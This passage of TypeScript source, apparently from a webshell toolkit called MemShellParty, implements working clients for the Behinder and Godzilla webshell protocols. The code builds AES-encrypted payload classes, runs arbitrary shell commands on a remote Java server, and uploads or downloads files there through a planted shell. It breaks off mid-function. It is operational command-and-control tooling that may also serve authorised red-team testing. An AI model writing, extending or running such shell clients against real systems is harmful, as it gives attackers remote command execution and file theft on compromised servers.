RANDOM_ALPHABET = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n\n/** Random alphanumeric string, mirroring the tools' `getRandomString`. */\nexport function randomString(length: number): string {\n const raw = randomBytes(length);\n let out = \"\";\n for (let i = 0; i < length; i++) {\n out += RANDOM_ALPHABET[raw[i]! % RANDOM_ALPHABET.length];\n }\n return out;\n}\n","/**\n * Minimal raw-HTTP POST helper for the shell connection testers.\n *\n * Uses node:http/https directly instead of fetch because the testers need\n * exact control over the body bytes, access to raw Set-Cookie headers, an\n * optional insecure-TLS mode, and no automatic redirect following.\n */\nimport http from \"node:http\";\nimport https from \"node:https\";\n\nexport interface RawPostOptions {\n headers?: Record<string, string>;\n timeoutMs?: number;\n /** Skip TLS certificate verification (self-signed targets). */\n insecure?: boolean;\n}\n\nexport interface RawPostResult {\n status: number;\n headers: http.IncomingHttpHeaders;\n body: Buffer;\n durationMs: number;\n}\n\nexport class HttpRequestError extends Error {\n constructor(\n message: string,\n readonly url: string,\n override readonly cause?: unknown,\n ) {\n super(message);\n this.name = \"HttpRequestError\";\n }\n}\n\n/** POST `body` to `url`, return the raw response. Never follows redirects. */\nexport function postRaw(\n url: string,\n body: Buffer,\n options: RawPostOptions = {},\n): Promise<RawPostResult> {\n const { headers = {}, timeoutMs = 30_000, insecure = false } = options;\n let target: URL;\n try {\n target = new URL(url);\n } catch {\n return Promise.reject(new HttpRequestError(`invalid URL: ${url}`, url));\n }\n const isHttps = target.protocol === \"https:\";\n if (!isHttps && target.protocol !== \"http:\") {\n return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));\n }\n\n // Opt-in proxying for traffic inspection (Burp & co.): set MEMPARTY_PROXY\n // e.g. http://127.0.0.1:8083. Deliberately NOT HTTP_PROXY — shell traffic\n // must never leak into a system-wide proxy by accident. http:// targets\n // only (absolute-URI request line); https:// still goes direct.\n let proxy: URL | null = null;\n if (!isHttps && process.env.MEMPARTY_PROXY) {\n try {\n proxy = new URL(process.env.MEMPARTY_PROXY);\n } catch {\n return Promise.reject(\n new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url),\n );\n }\n }\n\n return new Promise<RawPostResult>((resolve, reject) => {\n const started = Date.now();\n const transport = isHttps ? https : http;\n const onResponse = (res: http.IncomingMessage) => {\n const chunks: Buffer[] = [];\n res.on(\"data\", (chunk: Buffer) => chunks.push(chunk));\n res.on(\"end\", () =>\n resolve({\n status: res.statusCode ?? 0,\n headers: res.headers,\n body: Buffer.concat(chunks),\n durationMs: Date.now() - started,\n }),\n );\n res.on(\"error\", (err) => reject(new HttpRequestError(err.message, url, err)));\n };\n const req = transport.request(\n {\n method: \"POST\",\n hostname: proxy ? proxy.hostname : target.hostname,\n port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),\n path: proxy ? target.toString() : `${target.pathname}${target.search}`,\n // agent:false — never reuse a pooled socket. A shell server may close\n // the connection right after an empty response, and reusing such a\n // socket surfaces as a spurious ECONNRESET on the next probe.\n agent: false,\n headers: {\n \"Content-Length\": String(body.length),\n ...headers,\n },\n timeout: timeoutMs,\n ...(isHttps && insecure ? { rejectUnauthorized: false } : {}),\n },\n onResponse,\n );\n // Node emits `upgrade` for every response when the request itself has an\n // Upgrade header, even when the server answers with an ordinary HTTP 200.\n req.on(\"upgrade\", onResponse);\n req.on(\"timeout\", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));\n req.on(\"error\", (err) => reject(new HttpRequestError(err.message, url, err)));\n req.write(body);\n req.end();\n });\n}\n\n/** Extract cookie pairs (`name=value`) from a response's Set-Cookie headers. */\nexport function extractCookies(headers: http.IncomingHttpHeaders): string[] {\n const setCookie = headers[\"set-cookie\"];\n if (!setCookie) return [];\n return setCookie.map((line) => line.split(\";\", 1)[0]!.trim()).filter(Boolean);\n}\n","/** Shared types for the shell connection testers. */\n\n/**\n * Shell protocol name. Used to be a hardcoded union of the built-in tools;\n * now a free string — `src/connect/registry.ts` is the source of truth for\n * which protocols actually exist (built-ins + plugins like \"mimic\").\n */\nexport type ConnectTool = string;\n\nexport interface ConnectTestResult {\n ok: boolean;\n tool: ConnectTool;\n url: string;\n /** Human-readable success detail (echo size, session id, protocol variant...). */\n detail?: string;\n /** Human-readable failure reason. */\n error?: string;\n durationMs: number;\n}\n\nexport interface ExecResult {\n ok: boolean;\n tool: ConnectTool;\n url: string;\n /** The command line as executed remotely. */\n command: string;\n /** Decoded remote stdout+stderr (present on success). */\n output?: string;\n /** Human-readable failure reason. */\n error?: string;\n durationMs: number;\n}\n\nexport interface TransferResult {\n ok: boolean;\n tool: ConnectTool;\n url: string;\n direction: \"upload\" | \"download\";\n /** The remote file path as requested. */\n remotePath: string;\n /** Bytes transferred (present on success). */\n bytes?: number;\n /** Extra success note (e.g. \"hash verification unavailable\"). */\n detail?: string;\n /** Human-readable failure reason. */\n error?: string;\n durationMs: number;\n}\n\nexport interface DownloadResult extends TransferResult {\n /** File contents (present on success). */\n data?: Buffer;\n}\n\nexport interface CommonConnectOptions {\n /**\n * MemShellParty shells are gated by a header check:\n * the request must carry `headerName` containing `headerValue`\n * (both are reported by `memparty gen --json` as shellToolConfig).\n */\n headerName?: string;\n headerValue?: string;\n /** Extra request headers (already merged with the gate header). */\n extraHeaders?: Record<string, string>;\n timeoutMs?: number;\n insecure?: boolean;\n /** Tomcat Upgrade shell protocol: the generated shell's fully-qualified class name. */\n upgradeProtocol?: string;\n}\n\n/** Build the request headers for a tester: extra headers + gate header. */\nexport function buildHeaders(\n base: Record<string, string>,\n options: CommonConnectOptions,\n): Record<string, string> {\n const headers = { ...base, ...options.extraHeaders };\n if (options.headerValue) {\n headers[options.headerName || \"User-Agent\"] = options.headerValue;\n }\n return headers;\n}\n","/**\n * Behinder (冰蝎) connection test — Java/JSP protocol.\n *\n * Mirrors the Behinder client's `doConnect()`:\n * 1. inject a random string into the Echo payload class template\n * (`Params.getParamedClass` sets the `content` field's ConstantValue)\n * 2. POST `base64(AES/ECB/PKCS5(classBytes, md5(pass)[0:16]))`\n * 3. the shell defines + runs the class; the Echo payload answers with\n * `base64(AES({\"status\":b64,\"msg\":b64}))` — some Behinder variants answer\n * raw AES bytes and/or append `magicNum` random trailing bytes, so the\n * parser tries every combination and validates the JSON envelope\n * 4. connected iff status == \"success\" and msg echoes the random string\n */\nimport { CMD_CLASS_BYTES, ECHO_CLASS_BYTES, FILE_OPERATION_CLASS_BYTES } from \"./assets.js\";\nimport { injectStringConstant } from \"./classfile.js\";\nimport { aesEcbDecrypt, aesEcbEncrypt, md5Hex, md5Key16, randomString } from \"./crypto.js\";\nimport { extractCookies, postRaw } from \"./http.js\";\nimport {\n buildHeaders,\n type CommonConnectOptions,\n type ConnectTestResult,\n type DownloadResult,\n type ExecResult,\n type TransferResult,\n} from \"./types.js\";\n\nexport interface BehinderConnectOptions extends CommonConnectOptions {\n /** Request body encoding. Default: try base64, then raw AES bytes. */\n requestEncoding?: \"base64\" | \"raw\";\n}\n\nconst BASE64_RE = /^[A-Za-z0-9+/=\\r\\n]+$/;\n\ninterface EchoEnvelope {\n status: string;\n msg: string;\n}\n\n/** Try to turn a response body into the decrypted echo envelope. */\nfunction parseEchoResponse(body: Buffer, key: string): EchoEnvelope | null {\n const magic = parseInt(key.slice(0, 2), 16) % 16;\n const trimmed = trimBytes(body);\n\n const candidates: Buffer[] = [];\n const push = (b: Buffer) => {\n if (b.length > 0 && b.length % 16 === 0 && !candidates.some((c) => c.equals(b))) {\n candidates.push(b);\n }\n };\n\n if (BASE64_RE.test(trimmed.toString(\"latin1\"))) {\n let decoded: Buffer | null = null;\n try {\n decoded = Buffer.from(trimmed.toString(\"latin1\"), \"base64\");\n } catch {\n decoded = null;\n }\n if (decoded) {\n push(decoded); // v3 / MemShellParty: base64(AES(json))\n if (decoded.length > magic) push(decoded.subarray(0, decoded.length - magic));\n }\n }\n if (body.length > magic) push(body.subarray(0, body.length - magic)); // raw AES + magic suffix\n push(body); // raw AES\n\n for (const candidate of candidates) {\n try {\n const plain = aesEcbDecrypt(candidate, key).toString(\"utf8\");\n const obj: unknown = JSON.parse(plain);\n if (\n obj !== null &&\n typeof obj === \"object\" &&\n typeof (obj as Record<string, unknown>).status === \"string\" &&\n typeof (obj as Record<string, unknown>).msg === \"string\"\n ) {\n const rec = obj as { status: string; msg: string };\n return {\n status: Buffer.from(rec.status, \"base64\").toString(\"utf8\"),\n msg: Buffer.from(rec.msg, \"base64\").toString(\"utf8\"),\n };\n }\n } catch {\n // not the right candidate — try the next one\n }\n }\n return null;\n}\n\nfunction trimBytes(buf: Buffer): Buffer {\n let start = 0;\n let end = buf.length;\n const isWs = (b: number) => b === 0x20 || b === 0x09 || b === 0x0a || b === 0x0d || b === 0x00;\n while (start < end && isWs(buf[start]!)) start++;\n while (end > start && isWs(buf[end - 1]!)) end--;\n return buf.subarray(start, end);\n}\n\nfunction excerpt(body: Buffer): string {\n const text = body\n .toString(\"latin1\")\n .replace(/[^\\x20-\\x7e]+/g, \" \")\n .trim();\n return text.length > 160 ? `${text.slice(0, 160)}...` : text;\n}\n\nexport async function testBehinder(\n url: string,\n pass: string,\n options: BehinderConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const content = randomString(48 + Math.floor(Math.random() * 48));\n const classBytes = injectStringConstant(ECHO_CLASS_BYTES, \"content\", content);\n\n const encodings: Array<\"base64\" | \"raw\"> =\n options.requestEncoding === \"raw\"\n ? [\"raw\"]\n : options.requestEncoding === \"base64\"\n ? [\"base64\"]\n : [\"base64\", \"raw\"];\n\n const failures: string[] = [];\n for (const encoding of encodings) {\n const encrypted = aesEcbEncrypt(classBytes, key);\n const body = encoding === \"base64\" ? Buffer.from(encrypted.toString(\"base64\")) : encrypted;\n let response;\n try {\n response = await postRaw(url, body, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return {\n ok: false,\n tool: \"behinder\",\n url,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n\n const envelope = parseEchoResponse(response.body, key);\n if (envelope) {\n if (envelope.status === \"success\" && envelope.msg === content) {\n return {\n ok: true,\n tool: \"behinder\",\n url,\n detail: `echo verified (${content.length} random bytes, ${encoding} request, HTTP ${response.status})`,\n durationMs: Date.now() - started,\n };\n }\n failures.push(\n `${encoding}: decrypted but unexpected envelope (status=${JSON.stringify(envelope.status)})`,\n );\n } else {\n failures.push(\n `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +\n (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : \" (empty body)\"),\n );\n }\n }\n\n return {\n ok: false,\n tool: \"behinder\",\n url,\n error: failures.join(\"; \") + \" — wrong password, missing gate header, or not a Behinder shell\",\n durationMs: Date.now() - started,\n };\n}\n\n/**\n * Behinder command execution — uploads the `Cmd` payload class with its\n * static `cmd` field filled in (same `Params.getParamedClass` mechanism as\n * the Echo payload). The payload picks `cmd.exe /c` or `/bin/sh -c` itself\n * based on `os.name`, so no OS detection is needed here.\n * The response is the usual Behinder envelope: base64(AES({status, msg})),\n * where `msg` is the base64-encoded command output (stdout then stderr).\n */\nexport async function execBehinder(\n url: string,\n pass: string,\n command: string,\n options: BehinderConnectOptions = {},\n): Promise<ExecResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const classBytes = injectStringConstant(CMD_CLASS_BYTES, \"cmd\", command);\n\n const fail = (error: string): ExecResult => ({\n ok: false,\n tool: \"behinder\",\n url,\n command,\n error,\n durationMs: Date.now() - started,\n });\n\n const encodings: Array<\"base64\" | \"raw\"> =\n options.requestEncoding === \"raw\"\n ? [\"raw\"]\n : options.requestEncoding === \"base64\"\n ? [\"base64\"]\n : [\"base64\", \"raw\"];\n\n const failures: string[] = [];\n for (const encoding of encodings) {\n const encrypted = aesEcbEncrypt(classBytes, key);\n const body = encoding === \"base64\" ? Buffer.from(encrypted.toString(\"base64\")) : encrypted;\n let response;\n try {\n response = await postRaw(url, body, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n\n const envelope = parseEchoResponse(response.body, key);\n if (envelope) {\n if (envelope.status === \"success\") {\n return {\n ok: true,\n tool: \"behinder\",\n url,\n command,\n output: envelope.msg,\n durationMs: Date.now() - started,\n };\n }\n // the payload executed but reported failure — its msg says why\n return fail(`remote status \"fail\": ${envelope.msg}`);\n }\n failures.push(\n `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +\n (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : \" (empty body)\"),\n );\n }\n\n return fail(\n failures.join(\"; \") + \" — wrong password, missing gate header, or not a Behinder shell\",\n );\n}\n\n/* ------------------------------------------------------------------------ *\n * File transfer (FileOperation payload)\n *\n * Behinder v4.1's FileOperation class is uploaded like the Cmd payload, with\n * static String fields filled client-side (mode/path/content/blockIndex/\n * blockSize). Protocol choices, matching the official client:\n *\n * - upload: mode=create for the first chunk (truncate + write), mode=append\n * for the rest — sequential and session-independent. The `update` mode the\n * GUI uses is NOT safe here: it caches a FileChannel in the http session\n * and falls back to a *truncating* FileOutputStream per request without a\n * session cookie, corrupting multi-chunk uploads when the shell gives us\n * no session.\n * - download: mode=downloadPart (absolute blockIndex*blockSize positioning,\n * read-only, safe without a session). mode=download is broken in the\n * payload (reflection type mismatch) and never used by the GUI either.\n * - size probe: mode=checkExist returns the decimal file size.\n * - integrity: mode=check returns the remote MD5 hex [0:16] and closes any\n * session-cached channels. It NPEs on empty files (null msg in buildJson),\n * so empty transfers verify via checkExist instead.\n * - downloadPart's msg is base64 TWICE (payload base64s the chunk, buildJson\n * base64s every value again) — parseEchoResponse strips one layer.\n * ------------------------------------------------------------------------ */\n\n/** Raw upload block: base64 -> 61440 chars, under the 65535 constant-pool UTF8 limit. */\nconst BH_UPLOAD_CHUNK = 46080;\n/** Download block, same as the official client (0x100000). */\nconst BH_DOWNLOAD_CHUNK = 1024 * 1024;\n/** Whole-file downloads are buffered in memory — refuse absurd sizes. */\nconst BH_MAX_DOWNLOAD = 0x7fffffff; // 2 GiB\n/** Download chunks are idempotent (read-only, absolute position) — safe to retry. */\nconst BH_CHUNK_ATTEMPTS = 3;\n/**\n * The payload's `check` reads the whole remote file byte-by-byte to MD5 it\n * (getFileData) — minutes and gigabytes of heap for big files. Above this\n * size verify with a cheap checkExist size comparison instead.\n */\nconst BH_HASH_CHECK_LIMIT = 128 * 1024 * 1024;\n\ninterface BehinderChannel {\n /** Upload the FileOperation class with `fields` filled; resolve the envelope. */\n invoke(fields: Record<string, string>): Promise<EchoEnvelope>;\n}\n\n/**\n * A Behinder request channel: reuses the working request encoding (base64 vs\n * raw AES) once discovered instead of retrying both per chunk, and relays\n * any session cookie the shell hands out (lets the payload cache its file\n * channel, and lets `check` close it afterwards).\n */\nfunction openBehinderChannel(\n url: string,\n key: string,\n options: BehinderConnectOptions = {},\n): BehinderChannel {\n let pinned: \"base64\" | \"raw\" | null = options.requestEncoding ?? null;\n let cookie: string | undefined;\n\n const invoke = async (fields: Record<string, string>): Promise<EchoEnvelope> => {\n let classBytes: Buffer = FILE_OPERATION_CLASS_BYTES;\n for (const [name, value] of Object.entries(fields)) {\n classBytes = injectStringConstant(classBytes, name, value);\n }\n const encrypted = aesEcbEncrypt(classBytes, key);\n const encodings: Array<\"base64\" | \"raw\"> = pinned ? [pinned] : [\"base64\", \"raw\"];\n\n const failures: string[] = [];\n for (const encoding of encodings) {\n const body = encoding === \"base64\" ? Buffer.from(encrypted.toString(\"base64\")) : encrypted;\n const baseHeaders = buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options);\n const response = await postRaw(url, body, {\n headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n const setCookies = extractCookies(response.headers);\n if (setCookies.length > 0) cookie = setCookies.join(\"; \");\n\n const envelope = parseEchoResponse(response.body, key);\n if (envelope) {\n pinned = encoding;\n return envelope;\n }\n failures.push(\n `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +\n (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : \" (empty body)\"),\n );\n }\n throw new Error(\n failures.join(\"; \") + \" — wrong password, missing gate header, or not a Behinder shell\",\n );\n };\n\n return { invoke };\n}\n\nexport interface BehinderTransferOptions extends BehinderConnectOptions {\n /** Override the download chunk size (tests use tiny chunks). */\n downloadChunkSize?: number;\n /** Override the MD5-vs-size verification threshold (tests use tiny values). */\n hashCheckLimit?: number;\n}\n\ninterface RemoteVerification {\n error?: string;\n detail?: string;\n}\n\n/**\n * Post-transfer integrity check. Small files: `check` returns the remote\n * MD5 hex [0:16] (and closes any session-cached stream) — compare against\n * the local bytes. Above `limit`: the payload's check would read the whole\n * remote file byte-by-byte, so fall back to a checkExist size comparison\n * and say so in the detail.\n */\nasync function verifyBehinderRemote(\n channel: BehinderChannel,\n remotePath: string,\n data: Buffer,\n limit: number,\n mismatchNote: string,\n): Promise<RemoteVerification> {\n if (data.length > limit) {\n try {\n const envelope = await channel.invoke({ mode: \"checkExist\", path: remotePath });\n const text = envelope.status === \"success\" ? envelope.msg.trim() : \"\";\n if (!/^\\d+$/.test(text) || Number.parseInt(text, 10) !== data.length) {\n return {\n error:\n `size verification failed — local ${data.length} bytes, ` +\n `remote said ${JSON.stringify(envelope.msg)}`,\n };\n }\n return { detail: `over ${limit} bytes — MD5 check skipped, size verified` };\n } catch (err) {\n return {\n detail: `size verification unavailable (${err instanceof Error ? err.message : String(err)})`,\n };\n }\n }\n\n try {\n const envelope = await channel.invoke({ mode: \"check\", path: remotePath });\n if (envelope.status === \"success\" && /^[0-9a-fA-F]{16}$/.test(envelope.msg.trim())) {\n const local = md5Hex(data).slice(0, 16).toLowerCase();\n if (envelope.msg.trim().toLowerCase() !== local) {\n return {\n error: `hash mismatch — remote md5[0:16]=${envelope.msg.trim()}, local=${local} ${mismatchNote}`,\n };\n }\n return {};\n }\n return { detail: \"hash verification unavailable (unexpected check response)\" };\n } catch {\n return { detail: \"hash verification unavailable (check request failed)\" };\n }\n}\n\n/**\n * Behinder file download — checkExist for the size, downloadPart chunks,\n * then `check` for an MD5[0:16] comparison against the received bytes.\n */\nexport async function downloadBehinder(\n url: string,\n pass: string,\n remotePath: string,\n options: BehinderTransferOptions = {},\n): Promise<DownloadResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const fail = (error: string): DownloadResult => ({\n ok: false,\n tool: \"behinder\",\n url,\n direction: \"download\",\n remotePath,\n error,\n durationMs: Date.now() - started,\n });\n\n const channel = openBehinderChannel(url, key, options);\n\n // ---- size probe ----\n let size: number;\n try {\n const envelope = await channel.invoke({ mode: \"checkExist\", path: remotePath });\n if (envelope.status !== \"success\") {\n return fail(\n `remote path not found (or not readable): ${remotePath}` +\n (envelope.msg ? ` — ${envelope.msg}` : \"\"),\n );\n }\n const text = envelope.msg.trim();\n if (!/^\\d+$/.test(text)) {\n return fail(`unexpected checkExist response: ${JSON.stringify(envelope.msg)}`);\n }\n size = Number.parseInt(text, 10);\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n if (size > BH_MAX_DOWNLOAD) {\n return fail(`remote file is ${size} bytes — refusing to buffer over 2 GiB in memory`);\n }\n\n // ---- chunked read (empty file: no chunks at all) ----\n const chunkSize = options.downloadChunkSize ?? BH_DOWNLOAD_CHUNK;\n const parts: Buffer[] = [];\n let downloaded = 0;\n const blockCount = Math.ceil(size / chunkSize);\n for (let index = 0; index < blockCount; index++) {\n const want = Math.min(chunkSize, size - downloaded);\n let chunk: Buffer | null = null;\n let serverSays = \"\";\n for (let attempt = 1; attempt <= BH_CHUNK_ATTEMPTS && chunk === null; attempt++) {\n try {\n const envelope = await channel.invoke({\n mode: \"downloadPart\",\n path: remotePath,\n blockIndex: String(index),\n blockSize: String(chunkSize),\n });\n if (envelope.status !== \"success\") {\n // e.g. the file shrank mid-transfer (EOF read -> status fail)\n serverSays = envelope.msg || \"remote status fail\";\n continue;\n }\n const buf = Buffer.from(envelope.msg, \"base64\");\n if (buf.length !== want) {\n serverSays = `short chunk: got ${buf.length} of ${want} bytes`;\n continue;\n }\n chunk = buf;\n } catch (err) {\n serverSays = err instanceof Error ? err.message : String(err);\n }\n }\n if (chunk === null) {\n return fail(`chunk ${index} at offset ${downloaded}/${size} failed — ${serverSays}`);\n }\n parts.push(chunk);\n downloaded += chunk.length;\n }\n const data = Buffer.concat(parts);\n\n // ---- integrity check (MD5, or size above the limit) ----\n // Empty files make the payload's check NPE (null msg) — nothing to hash anyway.\n let detail: string | undefined;\n if (size === 0) {\n detail = \"remote file is empty — hash check skipped\";\n } else {\n const verification = await verifyBehinderRemote(\n channel,\n remotePath,\n data,\n options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT,\n \"(the file changed during transfer?)\",\n );\n if (verification.error) return fail(verification.error);\n detail = verification.detail;\n }\n\n return {\n ok: true,\n tool: \"behinder\",\n url,\n direction: \"download\",\n remotePath,\n bytes: data.length,\n detail,\n data,\n durationMs: Date.now() - started,\n };\n}\n\n/**\n * Behinder file upload — first chunk mode=create (truncate + write), the rest\n * mode=append, then `check` for an MD5[0:16] comparison. Append is not\n * idempotent, so a failed chunk aborts immediately (the error says the\n * remote file may be partial) instead of risking duplicated content.\n */\nexport async function uploadBehinder(\n url: string,\n pass: string,\n remotePath: string,\n data: Buffer,\n options: BehinderTransferOptions = {},\n): Promise<TransferResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const fail = (error: string): TransferResult => ({\n ok: false,\n tool: \"behinder\",\n url,\n direction: \"upload\",\n remotePath,\n error,\n durationMs: Date.now() - started,\n });\n\n const channel = openBehinderChannel(url, key, options);\n\n if (data.length === 0) {\n // create truncates; an empty content field produces an empty remote file.\n try {\n const envelope = await channel.invoke({ mode: \"create\", path: remotePath, content: \"\" });\n if (envelope.status !== \"success\") {\n return fail(`server said: ${envelope.msg || \"remote status fail\"}`);\n }\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n return {\n ok: true,\n tool: \"behinder\",\n url,\n direction: \"upload\",\n remotePath,\n bytes: 0,\n detail: \"empty file — hash check skipped\",\n durationMs: Date.now() - started,\n };\n }\n\n let offset = 0;\n let index = 0;\n while (offset < data.length) {\n const chunk = data.subarray(offset, Math.min(offset + BH_UPLOAD_CHUNK, data.length));\n const mode = index === 0 ? \"create\" : \"append\";\n try {\n const envelope = await channel.invoke({\n mode,\n path: remotePath,\n content: chunk.toString(\"base64\"),\n });\n if (envelope.status !== \"success\") {\n return fail(\n `chunk ${index} failed at offset ${offset}/${data.length} — server said: ` +\n `${envelope.msg || \"remote status fail\"} — the remote file may be incomplete`,\n );\n }\n } catch (err) {\n return fail(\n `chunk ${index} failed at offset ${offset}/${data.length}: ` +\n `${err instanceof Error ? err.message : String(err)} — the remote file may be incomplete`,\n );\n }\n offset += chunk.length;\n index++;\n }\n\n // ---- integrity check (MD5, or size above the limit) ----\n const verification = await verifyBehinderRemote(\n channel,\n remotePath,\n data,\n options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT,\n \"(the upload was corrupted)\",\n );\n if (verification.error) return fail(verification.error);\n\n return {\n ok: true,\n tool: \"behinder\",\n url,\n direction: \"upload\",\n remotePath,\n bytes: data.length,\n detail: verification.detail,\n durationMs: Date.now() - started,\n };\n}\n","/**\n * Godzilla (哥斯拉) protocol client — JavaDynamicPayload.\n *\n * Mirrors the Godzilla client's connect + payload method calls:\n * xc = md5(key)[0:16] (AES key)\n * md5 = md5(pass + xc), uppercase (response wrapper)\n * 1. POST `pass=urlencode(base64(AES(payloadClass)))` — the shell stores the\n * payload class (static field or http session, hence the cookie relay)\n * 2. POST `pass=urlencode(base64(AES(gzip(serialize({methodName:...})))))`\n * 3. response = md5[0:16] + base64(AES(gzip(result))) + md5[16:32]\n *\n * `Parameter.serialize` format: key bytes + 0x02 + little-endian u32 length +\n * value. Values are raw bytes — the payload does no base64 decoding\n * (`getByteArray` returns them as-is).\n */\nimport iconv from \"iconv-lite\";\n\nimport { GODZILLA_PAYLOAD_BYTES } from \"./assets.js\";\nimport { aesEcbDecrypt, aesEcbEncrypt, gunzipLenient, gzip, md5Hex, md5Key16 } from \"./crypto.js\";\nimport { extractCookies, postRaw } from \"./http.js\";\nimport { isWebSocketUrl, requestWebSocket } from \"./websocket.js\";\nimport {\n buildHeaders,\n type CommonConnectOptions,\n type ConnectTestResult,\n type DownloadResult,\n type ExecResult,\n type TransferResult,\n} from \"./types.js\";\n\n/** Godzilla's `Parameter.serialize`: key bytes + 0x02 + little-endian u32 length + value. */\nfunction serializeParams(params: Array<[string, Buffer]>): Buffer {\n const parts: Buffer[] = [];\n for (const [key, value] of params) {\n const len = Buffer.alloc(4);\n len.writeUInt32LE(value.length, 0);\n parts.push(Buffer.from(key, \"utf8\"), Buffer.from([0x02]), len, value);\n }\n return Buffer.concat(parts);\n}\n\nfunction encodeBody(pass: string, xc: string, data: Buffer): Buffer {\n const encrypted = aesEcbEncrypt(data, xc).toString(\"base64\");\n return Buffer.from(`${pass}=${encodeURIComponent(encrypted)}`, \"utf8\");\n}\n\nfunction excerpt(body: Buffer): string {\n const text = body\n .toString(\"latin1\")\n .replace(/[^\\x20-\\x7e]+/g, \" \")\n .trim();\n return text.length > 200 ? `${text.slice(0, 200)}...` : text;\n}\n\nfunction errMsg(err: unknown): string {\n return err instanceof Error ? err.message : String(err);\n}\n\n/**\n * Decode payload status/error text. Method results like \"ok\" and the size\n * digits are ASCII either way, but exception messages go through the\n * payload's `String.getBytes()` — the server's *platform default* charset\n * (UTF-8 on most Linux, GBK on Chinese Windows). Try strict UTF-8 first,\n * fall back to GBK so the user gets a readable reason instead of mojibake.\n * Never used on file content — only on short status/error strings.\n */\nfunction decodeServerText(buf: Buffer): string {\n try {\n return new TextDecoder(\"utf-8\", { fatal: true }).decode(buf);\n } catch {\n try {\n return new TextDecoder(\"gbk\").decode(buf);\n } catch {\n return buf.toString(\"utf8\");\n }\n }\n}\n\n/**\n * Encode a remote path for the wire. The payload decodes parameter strings\n * with the server's platform default charset (`new String(bytes)`), so on a\n * non-UTF-8 server (old JDK on Chinese Windows → GBK) a non-ASCII path must\n * be sent in that charset. The user tells us via --remote-charset (probing\n * file.encoding would need getBasicsInfo, whose reverse-DNS lookups can\n * block for tens of seconds — the Godzilla GUI pays the same cost). iconv\n * covers every Java charset label (GBK, MS932, Cp1252, ...); unknown labels\n * degrade to UTF-8. ASCII paths are byte-identical in every charset.\n */\nfunction encodeRemotePath(remotePath: string, remoteCharset: string | undefined): Buffer {\n if (remoteCharset === undefined || /^utf-?8$/i.test(remoteCharset)) {\n return Buffer.from(remotePath, \"utf8\");\n }\n if (!iconv.encodingExists(remoteCharset)) {\n return Buffer.from(remotePath, \"utf8\");\n }\n return iconv.encode(remotePath, remoteCharset);\n}\n\ninterface GodzillaSession {\n /** Invoke a payload method; resolves to the decrypted + gunzipped result. */\n callMethod(methodName: string, extraParams?: Array<[string, Buffer]>): Promise<Buffer>;\n}\n\n/**\n * Upload the payload class (request 1) and return an invoker for payload\n * methods (request 2+), bound to the session cookie the shell handed out.\n * Throws on transport errors; `callMethod` throws when the response is not a\n * valid Godzilla envelope.\n */\nasync function openGodzillaSession(\n url: string,\n pass: string,\n key: string,\n options: CommonConnectOptions = {},\n): Promise<GodzillaSession> {\n const xc = md5Key16(key);\n const wrapper = md5Hex(pass + xc).toUpperCase();\n const left = wrapper.slice(0, 16);\n const right = wrapper.slice(16);\n\n const baseHeaders = buildHeaders(\n {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n ...(options.upgradeProtocol\n ? { Connection: \"Upgrade\", Upgrade: options.upgradeProtocol }\n : {}),\n },\n options,\n );\n const post = (data: Buffer, cookie?: string) =>\n postRaw(url, encodeBody(pass, xc, data), {\n headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n\n // ---- request 1: upload the payload class ----\n let cookie: string | undefined;\n if (isWebSocketUrl(url)) {\n await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);\n } else {\n const initResponse = await post(GODZILLA_PAYLOAD_BYTES);\n const cookies = extractCookies(initResponse.headers);\n cookie = cookies.length > 0 ? cookies.join(\"; \") : undefined;\n }\n\n return {\n async callMethod(methodName: string, extraParams: Array<[string, Buffer]> = []) {\n const callData = gzip(\n serializeParams([[\"methodName\", Buffer.from(methodName, \"utf8\")], ...extraParams]),\n );\n if (isWebSocketUrl(url)) {\n const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);\n try {\n return gunzipLenient(aesEcbDecrypt(response, xc));\n } catch {\n throw new Error(\"WebSocket response failed to decrypt — wrong key or protocol?\");\n }\n }\n const res = await post(callData, cookie);\n const text = res.body.toString(\"latin1\");\n const leftIdx = text.indexOf(left);\n const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);\n if (leftIdx === -1 || rightIdx === -1) {\n throw new Error(\n `HTTP ${res.status}, response lacks the Godzilla wrapper` +\n (text.trim().length > 0 ? ` (starts with: ${excerpt(res.body)})` : \" (empty body)\") +\n \" — wrong pass/key, missing gate header, or not a Godzilla shell\",\n );\n }\n const wrapped = text.slice(leftIdx + left.length, rightIdx);\n try 